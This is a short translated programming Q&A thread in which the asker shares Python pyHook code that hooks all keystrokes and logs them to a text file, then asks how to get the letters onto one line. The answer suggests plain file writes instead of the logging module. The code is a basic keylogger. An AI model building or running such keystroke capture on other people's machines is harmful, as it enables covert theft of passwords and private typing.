2010-02-18 19 views
0
import pythoncom, pyHook, logging, string 

LOG_FILENAME = 'logfile.txt' 

def OnKeyboardEvent(event): 
    print 'MessageName:',event.MessageName 
    print 'Time:',event.Time 
    print 'WindowName:',event.WindowName 
    print 'Ascii:', event.Ascii, chr(event.Ascii) 
    print 'Key:', event.Key 
    print '---' 
    k = event.Key 
    logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG, 
         format='%(message)s') 
    logging.debug(k) 

    return True 

    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard() 
    pythoncom.PumpMessages() 

在logfile.txt中,消息在不同的行上显示单独的字母,如何使它在同一行显示消息?将消息放在同一行

回答

0

似乎没有办法使Logger.debug()将消息附加到同一行。由于您的日志文件格式非常简单,为什么不使用纯文件对象呢?

+0

“太多的PHP”现在打印每一个字母在同一行上,现在我将如何使它打印它,但每个消息都在不同的行上。 – sourD 2010-02-18 04:52:00

相关问题